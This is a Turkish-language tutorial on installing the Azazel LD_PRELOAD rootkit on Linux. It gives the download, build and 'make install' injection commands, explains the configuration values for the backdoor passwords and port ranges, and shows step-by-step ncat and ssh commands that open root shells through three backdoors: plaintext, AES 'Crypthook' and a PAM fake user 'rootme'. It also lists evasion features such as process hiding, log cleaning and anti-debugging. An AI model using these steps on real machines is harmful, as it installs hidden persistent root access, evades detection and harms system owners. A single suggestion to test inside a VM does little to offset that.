Azazel ile Rootkit Oluşturma

Merhaba

Azazel, Userland için C ile geliştirilmiş bir rootkit yazılımdır. Açık kaynak kodlu olup, https://github.com/chokepoint/azazel adresinden kaynak kodlarına ulaşılabilir.

Jynx rootkit’ininde kullandığı LD_RELOAD tekniğini Azazel’de kullanmaktadır. Jynx rootkit’i ile karşılaştırıldığında daha güçlü ve farklı özellikleri olduğu görülmektedir.

Azazel’in Özellikleri

  1. Anti-debugging
  2. lfsof, ps ve ldd komutlarından gizlenme
  3. Dosya ve dizin olarak gizlenme
  4. Processlerini gizleme
  5. PCAP’ hook atarak yerel sniffing’den kaçış
  6. Log temizleme
  7. Sabit ifadeleri XOR ile şifreleme
  8. 2 farklı oturum sağlama özelliği. Encrypted ve PlainText mod.

Kurulumu

Github’dan azazel’in kaynak kodu indirilir.

wget -O /tmp/azazel.zip https://github.com/chokepoint/azazel/archive/master.zip
cd /tmp/
unzip -x azazel.zip

Rootkit’i derlemek için

cd azazel-master/
make

Eğer  make install olarak komut çalıştırırsanız Azazel sisteme bulaşacaktır. Bu nedenle bu çalışmalarını VirtualBox üzerinde kurulacak bir linux dağıtımı ile yapmanızı önerilmektedir.

Konfigürasyon Dosyası

Azazel rootkit’inin ayarları config.py dosyasında bulunmaktadır. Bu ayarların ne anlama geldiği aşağıdaki tanımlanmıştır.

LOW_PORT, HIGH_PORT = Plain Text modda bağlantı için gelen talebin kaynak portunun tanımlı olabileceği aralık. Bu aralık haricinde ki Plain Text mod ile gelen bağlantılar için rootkit çalışmayacaktır.
CRYPT_LOW , CRYPT_HIGH =  Cryptohood modda gelen bağlantı için gelen talebin kaynak portunun tanımlı olabileceği aralık.
BLIND_LOGIN = PAM Backdoor’unu aktiv etmek için sahte username.
SHELL_MSG = Bağlantı gerçekleştiğinde gösterilecek mesaj.
SHELL_PASSWD = Plaintext ve Crypthook modları için ortak şifre.
ANTI_DEBUG_MSG = Sistem admini ptrace ile rootkit’i takip etmek istediğinde gösterilecek mesaj.
PASSPHRASE = encryption ve decryption için kullanılacak olan key.
KEY_SALT = Salt key

 

Azazel Injection

Make install komutu ile Azazel sisteme enjekte edilir.

[root@localhost azazel-master]# make install
[-] Initiating Installation Directory /lib
[-] Installing azazel
[-] Injecting azazel

Azazel 3 farklı oturum mantığı desteklemektedir.

PlainText Backdoor

Azazel’in konfigürasoyn dosyasında belirtilen port aralığından herhangi bir port’u source port olarak belirtip bağlantı talebinde bulunulmaktadır.

$ ncat 192.168.1.3 22 -p 61040 
   123456
   Welcome!
   Here's a shell.
   root@host:/root #

Crypthook Backdoor

Azazel’in Crpythook modülünü kullanarak bağlantı gerçekleştirilebilir. Bunun için bağlantı gerçekleştiren client’in Azazel ile aynı AES encryption’ını kullanması gerekmektedir.

LD_PRELOAD=./crypthook.so ncat 192.168.1.3 22 -p 61051
   123456
   Welcome!
   Here's a shell.
   root@host:/root/ #

PAM Backdoor

Azazel’in konfigürasyon dosyasında rootme adında sahte bir kullanıcı tanımlaması yapılmıştır. Bu kullanıcı ile ssh talebinde bulunulduğunda, Azazel bunu fark edip SSH talebinde bulunan kullanıcıya SSH bağlantısı gerçekleştirecektir. Ayrıca PAM hook’u üzerinden yerel yetki yükseltme özelliği kullanılabilir.

$ make client
$ LD_PRELOAD=./client.so ssh rootme@192.168.1.3
root@host:/ #

SSH bağlantısı gerçekleştiğinde aşağıdaki komut ile root yetkilerine erişilebilir.

su - rootme

Test olarak PAM Backdoor modülü denenmiştir ve başarılı şekilde çalışmıştır. rootme kullanıcı ile ssh bağlantı talebi gerçekleştirildiğinde, bu kullanıcı için şifre talep edilecektir.Şifre, Azazel’in konfigürasyon dosyasında tanımlanmıştır.

Azazel